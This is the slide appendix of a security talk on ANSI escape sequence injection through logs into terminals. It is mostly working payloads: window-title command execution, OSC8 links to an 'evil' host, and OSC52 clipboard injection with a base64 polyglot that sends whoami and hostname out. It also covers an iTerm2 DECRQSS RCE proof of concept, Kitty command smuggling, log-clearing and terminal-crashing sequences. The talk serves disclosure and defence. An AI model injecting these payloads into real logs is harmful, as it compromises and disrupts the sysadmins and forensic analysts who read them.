
STÖK



WELCOME
Weaponizing Plain Text: ANSI Escape Sequences as a Forensic Nightmare.

THIS IS THE STRIPPED DOWN RESOURCE APPENDIX OF THE FULL TALK



LOGS ARE A VITAL COMPONENT FOR:
MAINTAINING APPLICATION RELIABILITY, 

PERFORMANCE, AND SECURITY.


+ LOGS DONT LIE, PEOPLE DO..



DO YOU TRUST EM?



WHAT HAPPENS 
IF YOU DON’T?



POC OF A CREATIVE RANSOMWARE AD INSIDE A LOGFILE



VSCODE
DOCKER

iTERM2

TERMINAL.APP

WINDOWS 
TERMINAL GNOME VTE

XTERM

KITTY



CLOUD CLI

https://github.com/chjj/term.js
https://github.com/xtermjs/xterm.js



XTERM

https://invisible-island.net/xterm/ctlseqs/ctlseqs.html



BASICS



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

XTERM

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'

https://invisible-island.net/xterm/ctlseqs/ctlseqs.html



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

XTERM

https://invisible-island.net/xterm/ctlseqs/ctlseqs.html

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

XTERM

https://invisible-island.net/xterm/ctlseqs/ctlseqs.html

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

ESCAPE CHAR

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

ESC CHARACTER



Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007' - OCTAL
Printf 'Hello \x1b[32mTHIS IS GREEN\x1b[0m\x07' - HEX
Printf 'Hello \u001b[32mTHIS IS GREEN\u001b[0m\u0007' - UNICODE
Printf 'Hello \27[32mTHIS IS GREEN\27[0m\7' - DECIMAL
Printf 'Hello \e[32mTHIS IS GREEN\e[0m\a' - ASCII

TOMATO - TOMATO



BASH = OCTAL

PYTHON = HEX

JAVA / JS = UNICODE

POWERSHELL= DECIMAL



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

ESCAPE CHAR

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

ESC CHARACTER



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

CONTROL SEQUENCE 
INTRODUCER

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

CSI CHARACTER



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

NUMBER = COLOR

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

PARAMETER 32=GREEN



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

STRING OUTPUT

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

STRING



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

ESCAPE CHAR

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

ESC CHARACTER



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

CONTROL SEQUENCE 
INTRODUCER

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

CSI CHARACTER



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

NUMBER = COLOR

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

PARAMETER 0=RESET



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

STRING OUTPUT

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN 
THIS IS ALSO GREEN

HULK SMAAAAAASH

STRING



CSI Pm m Character Attribute

Ps = 3 2 -> Set foreground color to Green.

STRING TERMINATOR (ST)

 OR A "BELL" CHAR

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

DING!



printf '\033[31mESC-INJECTION:\033[32mSUCCESSFUL\033[0m\033' > badlog.log

STORED EXAMPLE



VIM

~

~^[[31mESC-INJECTION:^[[32mSUCCESSFUL^[[0m^[

~

vim badlog.log



VIM

~

~^[[31mESC-INJECTION:^[[32mSUCCESSFUL^[[0m^[

~

vim badlog.log



NANO

~

~^[[31mESC-INJECTION:^[[32mSUCCESSFUL^[[0m^[

~

vim badlog.log



\U001B



CAT

> cat *.log

ESC-INJECTION:SUCCESSFUL

>



GREP

> grep INJEC -r ./

.//badlog.log:ESC-INJECTION:SUCCESSFUL

>



TAIL

> tail badlog.log

ESC-INJECTION:SUCCESSFUL

>



AWK

> awk '{print $1}' badlog.log

ESC-INJECTION:SUCCESSFUL

>







NSLOOKUP - SANITIZED ON OSX



BIGUPS TO DAVID!NOT ON WINDOWS.



IS THIS EVEN A 
SECURITY ISSUE?



WHERE?

HOW ?

WOULD THIS BE AN 
ISSUE?

WHO ?



CONSEQUENCES

WHAT?



LOG INJECTION!
Printf ‘Hello \033[31mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

Printf ‘Hello \033[32mTHIS IS GREEN\033[0m\007’
Hello THIS IS GREEN

WHERE?



DEVOPS

SYSADMINS

IR / FORENSIC

WHO?



INTERACT WITH 
LOGFILES

WHO?

USING A TERMINAL



LOG INJECTION?
HOW?

https://owasp.org/www-community/attacks/Log_Injection



LOG INJECTION?
HOW?

https://owasp.org/www-community/attacks/Log_Injection



https://www.docker.com/blog/getting-started-with-docker-desktop/



docker attach <containerid>

docker logs --follow <containerid>

DOCKER LOGS

Failed (2: No such file or directory), client: 172.17.0.1, server: 
localhost, request: "GET /tutorial/blah HTTP/1.1", host: "127.0.0.1"

2023/07/13 10:50:56 [error] 21#21: *28 open() "/usr/share/nginx/html/
tutorial/blah



printf '\033[31mESC-INJECTION:\033[32mSUCCESSFUL\033[0m\033'



URL ENCODE

/%0a%1B%5B31mESC-INJECTION-LFURLENCODED:%1B%5B32mSUCCESSFUL%1B%5B0m%07%0a

printf '\033[31mESC-INJECTION:\033[32mSUCCESSFUL\033[0m\033'
\n



URL ENCODE

THIS IS RED:THIS IS GREEN

/%0a%1B%5B31mESC-INJECTION-LFURLENCODED:%1B%5B32mSUCCESSFUL%1B%5B0m%07%0a

Printf '\033[31mTHIS IS RED:\033[32mTHIS IS GREEN\033[0m\007'



URL ENCODE

THIS IS RED:THIS IS GREEN

/%0a%1B%5B31mESC-INJECTION-LFURLENCODED:%1B%5B32mSUCCESSFUL%1B%5B0m%07%0a

Printf '\033[31mTHIS IS RED:\033[32mTHIS IS GREEN\033[0m\007'

HOW?

ENOUGH FOR A POC



https://marc.info/?l=bugtraq&m=104612710031920&q=p3

2003 - H D MOORE



https://marc.info/?l=bugtraq&m=104612710031920&q=p3

2003 - H D MOORE

OSC Ps ; Pt ST 
Ps = 2  ⇒  Change Window Title to Pt.



https://marc.info/?l=bugtraq&m=104612710031920&q=p3

2003 - H D MOORE



https://marc.info/?l=bugtraq&m=104612710031920&q=p3

2003 - H D MOORE



https://marc.info/?l=bugtraq&m=104612710031920&q=p3

2003 - H D MOORE

CSI Ps t 
Ps = 21  ⇒ Report Windows Title



https://marc.info/?l=bugtraq&m=104612710031920&q=p3

2003 - H D MOORE

\033]2;;wget 127.0.0.1/.bd;sh .bd;exit;\007\033[21t\033]2;xterm\007Press Enter>\033[8m;

CSI Ps t 
Ps = 21  ⇒ Report Windows Title



https://marc.info/?l=bugtraq&m=104612710031920&q=p3

2003 - H D MOORE

\033]2;;wget 127.0.0.1/.bd;sh .bd;exit;\007\033[21t\033]2;xterm\007Press Enter>\033[8m;

CSI Ps t 
Ps = 21  ⇒ Report Windows Title

FIXED!



GIOVANNI "EVILALIV3" PELLERANO

ALESSANDRO "JEKIL" TANASI

FRANCESCO "ASCII" ONGARO

echo -en "GET /\x1b]2;\x07\x0a\x0d\x0a\x0d" > payload 

nc localhost 80 < payload


NGINX, VARNISH, CHEROKEE, THTTPD, MINI-HTTPD, WEBRICK, ORION, AOLSERVER,YAWS

AND BOA LOG ESCAPE SEQUENCE INJECTION - 2010-01-10

https://www.ush.it/team/ush/hack_httpd_escape/adv.txt

2010



GIOVANNI "EVILALIV3" PELLERANO

ALESSANDRO "JEKIL" TANASI

FRANCESCO "ASCII" ONGARO

echo -en "GET /\x1b]2;\x07\x0a\x0d\x0a\x0d" > payload 

nc localhost 80 < payload


NGINX, VARNISH, CHEROKEE, THTTPD, MINI-HTTPD, WEBRICK, ORION, AOLSERVER,YAWS

AND BOA LOG ESCAPE SEQUENCE INJECTION - 2010-01-10

https://www.ush.it/team/ush/hack_httpd_escape/adv.txt

2010

FIXED!



https://www.cyberark.com/resources/threat-research-blog/dont-trust-this-title-abusing-
terminal-emulators-with-ansi-escape-characters

2022 - Eviatar Gerzi



https://www.cyberark.com/resources/threat-research-blog/dont-trust-this-title-abusing-
terminal-emulators-with-ansi-escape-characters

2022 - Eviatar Gerzi

FIXED!



PROPRIETARY 
ESCAPE CODES



ADAPTED 
TRUSTED 

NICE?



WEPONIZE!



An error has occured. Visit https://learn.microsoft.com/KB123YOLO 
To learn more

OSC8
LINK ALL THE THINGS!



printf '\033]8;;http://example.com\033\\This is a link\033]8;;\033\\'

This is a link

https://github.com/Alhadis/OSC8-Adoption

OSC8
LINK ALL THE THINGS!



write-output "An error has occured. Visit $([char]0x1b)]8;;file://c:
\Windows\System32\cmd.exe$([char]0x1b)\https://learn.microsoft.com/
KB123YOLO$([char]0x1b)]8;;$([char]0x1b)\ To learn more"


An error has occured. Visit https://learn.microsoft.com/KB123YOLO To 
learn more

OSC8
LINK ALL THE THINGS!

NEW ADDITION OF FILE:URI = POTENTIAL FOR FUNSTUFF



OSC8
printf '\033]8;;http://example.com\033\\This is a link\033]8;;\033\\'

This is a link

Printf  '\033]8;;http://evil.terminalinjection.com\007'



printf '\033]8;;http://example.com\033\\This is a link\033]8;;\033\\'

This is a link

OSC8
LINK ALL THE THINGS!



➜  logs ls -la

total 912

drwxr-xr-x@   3 stok  staff      96 Jul 10 12:40 .

drwx------@ 169 stok  staff    5408 Jul 10 12:40 ..

-rw-r--r--@   1 stok  staff  405305 Jul 10 13:32 everything.log


printf  '\033]8;;http://evil.terminalinjection.com\007'

OSC8
LINK ALL THE THINGS!



OSC8
printf '\033]8;;http://example.com\033\\This is a link\033]8;;\033\\'

This is a link

Printf  '\033]8;;http://evil.terminalinjection.com\007'

SOME TERMINALS GENERATE WARNINGS, OTHERS DONT.



curl 127.0.0.1/hello%1b%5d8%3b%3bhttp%3a%2f%2fevil.terminalinjection.com%07

OSC8
LINK ALL THE THINGS!



OSC8
curl 127.0.0.1/hello%1b%5d8%3b%3bhttp%3a%2f%2fevil.terminalinjection.com%07





INLINE IMAGE SUPPORT



https://code.visualstudio.com/updates/v1_80



MAKES YOU WONDER WHAT THAT LOGFILE CONTAINS?



CLIPBOARD INJECTION OSC52



OSC52
printf '\033]52;c;base64string\007'

b3BlbiAtYSBjYWxjdWxhdG9yLmFwcAoK


open -a calculator.app \n 

CLIPBOARD INJECTION



OSC52
printf '\033]52;c;base64string\007'

b3BlbiAtYSBjYWxjdWxhdG9yLmFwcAoK


open -a calculator.app 
 

ZSH

ZSH REQUIRES USER INTERACTION (PRESS ENTER)



OSC52
printf '\033]52;c;base64string\007'

b3BlbiAtYSBjYWxjdWxhdG9yLmFwcAoK


open -a calculator.app 
 

ZSH



OSC52
printf '\033]52;c;base64string\007'

b3BlbiAtYSBjYWxjdWxhdG9yLmFwcAoK


open -a calculator.app 
 

BASH

BASH DONT.



printf '\033]52;c;c2xlZXAgMQplY2hvIEhlbGxvICQod2hvYW1pKQoK\007'

sleep1 \r\n 
echo Hello $(whoami) \r\n

\r\n

OSC52
CLIPBOARD INJECTION



OSC52
printf '\033]52;c;c2xlZXAgMQplY2hvIEhlbGxvICQod2hvYW1pKQoK\007'

sleep1 \r\n 
echo Hello $(whoami) \r\n

\r\n

DIFFERENT TERMINALS BEHAVE IN DIFFERENT WAYS



XSS/NIX/WIN
\n\n\n\n\n\n 
data:image/
svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIGJhc2VQcm9maWxlPSJmdWxsIiB4bWxucz0iaHR0cDovL3d3dy53
My5vcmcvMjAwMC9zdmciPgogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIGFsZXJ0KCJpbmplY3R
pb24gc3VjY2Vzc2Z1bCIpOwogIDwvc2NyaXB0Pgo8L3N2Zz4=#\n


curl "http://$(whoami).$(hostname).rcepoc.127.0.0.1.nip.io/$(pwd | base64)"\n


cmd /c powershell -Command "$URI = 'http://%username%.
%computername%.rcepoc.127.0.0.1.nip.io/';Invoke-WebRequest -Uri $URI"\n

POLYGLOT-ISH



printf 
'\033]52;c;CgoKCgpkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUIyWlhKemFXOXVQU0l4TGpFaUlH
SmhjMlZRY205bWFXeGxQU0ptZFd4c0lpQjRiV3h1Y3owaWFIUjBjRG92TDNkM2R5NTNNeTV2Y21jdk1qQXdNQzl
6ZG1jaVBnb2dJRHh6WTNKcGNIUWdkSGx3WlQwaWRHVjRkQzlxWVhaaGMyTnlhWEIwSWo0S0lDQWdJR0ZzWlhKME
tDSnBibXBsWTNScGIyNGdjM1ZqWTJWemMyWjFiQ0lwT3dvZ0lEd3ZjMk55YVhCMFBnbzhMM04yWno0PSMKCmN1c
mwgImh0dHA6Ly8kKHdob2FtaSkuJChob3N0bmFtZSkucmNlcG9jLjEyNy4wLjAuMS5uaXAuaW8vJChwd2QgfCBi
YXNlNjQpIgoKY21kIC9jIHBvd2Vyc2hlbGwgLUNvbW1hbmQgIiRVUkkgPSAnaHR0cDovLyV1c2VybmFtZSUuJWN
vbXB1dGVybmFtZSUucmNlcG9jLjEyNy4wLjAuMS5uaXAuaW8vJztJbnZva2UtV2ViUmVxdWVzdCAtVXJpICRVUk
kiCg==\007' > badlog.log

OSC52
CLIPBOARD INJECTION



POLYGLOT?



MESS THINGS UP!



HIDE YOUR TRACKS
printf '\033[H\007' - Moves cursor to home position (0, 0) 
printf '\033]1337;ClearScrollback\007' - Clears scrollback(iterm)

Printf '\033[2J\007’ - Erase entire screen

https://gist.github.com/fnky/458719343aabd01cfb17a3a4f7296797



CLEARS THE LOG EVERY TIME IT RENDERS





DOS / BRICK





POPS A PRINT JOB



PRINT STUFF

Printf '\033[5i\007'
Send output to printer (BRICK iTERM2)

Printf '\033[0i\007'
Print onscreen stuff

SENDS ALL OUTPUT TO A NON EXISTING PRINTER



REALLY 
ANNOYING



printf '\033[?1001h\033[?1002h\033[?1003h\033[?1004h\033[?
1005h\033[?1006h\033[?1007h\033[?1015h\033[?10016h\'

HIJACK MOUSE



printf '\033[?1001h\033[?1002h\033[?1003h\033[?1004h\033[?
1005h\033[?1006h\033[?1007h\033[?1015h\033[?10016h\'

HIJACK MOUSE

EVERY SINGLE MOUSE MOVEMENT WILL BE REPORTED





printf '✌\033[10;b\007'

REPEAT THE PRECEDING GRAPHIC CHARACTER X TIMES (REP)



printf '✌\033[10;b\007'

REPEAT THE PRECEDING GRAPHIC CHARACTER X TIMES (REP)

✌ ✌ ✌ ✌ ✌ ✌ ✌ ✌ ✌ ✌



printf '✌\033[1000000000;b\007'

REPEAT THE PRECEDING GRAPHIC CHARACTER X TIMES (REP)

1.000.000.000 = ONE BILLION ✌



printf '✌\033[1000000000;b\007'

REPEAT THE PRECEDING GRAPHIC CHARACTER X TIMES (REP)

✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌
✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌✌



DO NOT RUN

THIS IN PROD!
THINGS WILL BREAK AND YOU WILL NEED TO CLEAN THE LOGFILES



BRICKED

curl localhost/hello✌%ef%b8%8f%1b%5b1000000000%3bb%07



BRICKED

BRICKED

BRICKED
CRASHED

TRY IT YOURSELF AT https://evil.terminalinjection.com/dos



DAVID LEADBEATER



DAVID LEADBEATER

https://www.youtube.com/watch?v=iIHw0KWgzAs
BlueHat 2023: Houdini of the Terminal with David Leadbeater




DAVID LEADBEATER

https://www.youtube.com/watch?v=iIHw0KWgzAs
BlueHat 2023: Houdini of the Terminal with David Leadbeater




DAVID LEADBEATER



DAVID LEADBEATER



iTERM2 DECRQSS RCE
curl http://localhost:80/sup%0a%1B%5B31mESC-INJECTION-SUCCESSFUL-
LETS-POP-CALC%1B%5B0m%07%0a%1bP%24qm%03%1b%5c%1bP%24qm%3bopen%20-
a%20calculator%3b%0d%1b%5c%1bP%24qm%1b%5c

CVE-2022-45872 - DAVID LEADBEATER



iTERM2 DECRQSS RCE
curl http://localhost:80/sup%0a%1B%5B31mESC-INJECTION-SUCCESSFUL-
LETS-POP-CALC%1B%5B0m%07%0a%1bP%24qm%03%1b%5c%1bP%24qm%3bopen%20-
a%20calculator%3b%0d%1b%5c%1bP%24qm%1b%5c

CVE-2022-45872 - DAVID LEADBEATER







printf '\033P$qm\x03\033\\'

printf '\033P$qm;open -a calculator;\r\n\033\\'

printf '\033P$qm\033\\'



printf '\033P$qm\x03\033\\

printf '\033P$qm;open -a calculator;\r\n\033\\'

printf '\033P$qm\033\\'



printf '\033P$qm\x03\007

printf '\033P$qm;open -a calculator;\r\n\033\\'

printf '\033P$qm\033\\'



printf '\033P$qm\x03\007

printf '\033P$qm;open -a calculator;\r\n\033\\'

printf '\033P$qm\033\\'



OSC5113 - KITTY
FILETRANSFER OVER TTY

printf '\033]5113;ac=send;id=test;n=aGVsbG8udHh0;sz=3;d=AQID\\'



OSC5113 - KITTY
FILETRANSFER OVER TTY

printf '\033]5113;ac=send;id=\nopen -a calculator.app\n\033\\'



OSC5113 - KITTY
FILETRANSFER OVER TTY



OSC5113 - KITTY
FILETRANSFER OVER TTY



YOUR FAULT! YOUR FAULT!

TERMINALS

APPS/WEBAPPS



\\SANITIZE
\\OUTPUT



TERMINALINJECTION.COM



TERMINALINJECTION.COM
curl -L evil.terminalinjection.com > badlog.log

http://evil.terminalinjection.com


BLACKBOX

TESTING



400-500

ERRORS



POST /api/somepath HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: x

Content-Type: application/json

Connection: close


{

"somekey":"somevalue"

}



APPEND UNICODE

POST /api/somepath HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: x

Content-Type: application/json

Connection: close


{

"somekey":"somevalue\n\u001b[31mESC-INJECTION-LFUNICODE:\u001b[32mSUCCESSFUL\u001b[0m\u0007\n"

}



HTTP/1.1 500 Internal Server Error

content-type: application/json; charset=utf-8

content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT

Connection: close


{

"statusCode":500,

"error":"Internal Server Error",

"message":"query does not support somevalue\n\u001b[31mESC-INJECTION-LFUNICODE: 
\u001b[32mSUCCESSFUL\u001b[0m\u0007\n"

}

PLAUSIBLE (MOST LIKELY)



HTTP/1.1 500 Internal Server Error

content-type: application/json; charset=utf-8

content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT

Connection: close


{

"statusCode":500,

"error":"Internal Server Error",

"message":"query does not support somevalue\\n\\u001b[31mESC-INJECTION-LFUNICODE: 
\\u001b[32mSUCCESSFUL\\u001b[0m\\u0007\\n"

}

ESCAPED PROPERLY (GOOD JOB!)



POST /api/somepath HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: x

Content-Type: application/json

Connection: close


{

"somekey":"somevalue[32mESC-INJECTION-RAW:[31mSUCCESSFUL[0m"

}

APPEND ESC/BELL (0X1B/0X07)



POST /api/somepath HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: x

Content-Type: application/json

Connection: close


{

"somekey":"somevalue[32mESC-INJECTION-RAW:[31mSUCCESSFUL[0m"

}



HTTP/1.1 500 Internal Server Error

content-type: application/json; charset=utf-8

content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT

Connection: close


{

"statusCode":500,

"error":"Internal Server Error",

"message":"query does not support somevalue\u001b[31mESC-INJECTION-RAW:\u001b

[32mSUCCESSFUL\u001b[0m\u0007"

}

AGAIN PLAUSIBLE (MOST LIKELY)



FALSE

POSITIVES



HTTP/1.1 500 Internal Server Error

content-type: application/json; charset=utf-8

content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT

Connection: close


{

"statusCode":500,

"error":"Internal Server Error",

}

STRIPPED ERROR MESSAGE



HTTP/1.1 404 Not Found

content-type: application/json; charset=utf-8

content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT

Connection: close


<html>

<head><title>404 Not Found</title></head>

<body>

<center><h1>404 Not Found</h1></center>

<hr><center>nginx/1.23.3</center>

</body>

</html>

NO DATA IN RESPONSE



HTTP/1.1 400 Bad Request

content-type: application/json; charset=utf-8

content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT

Connection: close


{

"statusCode":400,

"error":"Bad Request",

"message":"Invalid value \"somevalue\n\u001b[31mESC-INJECTION-LFUNICODE: 
\u001b[32mSUCCESSFUL\u001b[0m\u0007\n\"

}

PLAUSIBLE (MOST LIKELY) BUT WONT BE LOGGED..



SEEMS TO BE 
EVERYWHERE



+ACCESS 
TO LOGS

https://nuclei.projectdiscovery.io/



RENDERED IN NUCLEI WHEN TESTING



+ACCESS 
TO LOGS

https://nuclei.projectdiscovery.io/

DONT GO 
BRRRRRR
RRRRRRR



+ACCESS 
TO LOGS



YOU NEED 
ACCESS TO 
LOGS!
TO VERIFY THAT IT RENDERED, SERVER RESPONSES ISNT ENOUGH.



WHERE ELSE DOES THIS RENDER? TIME TO BREAK SOME AUTOMATION!



@STOKFREDRIK


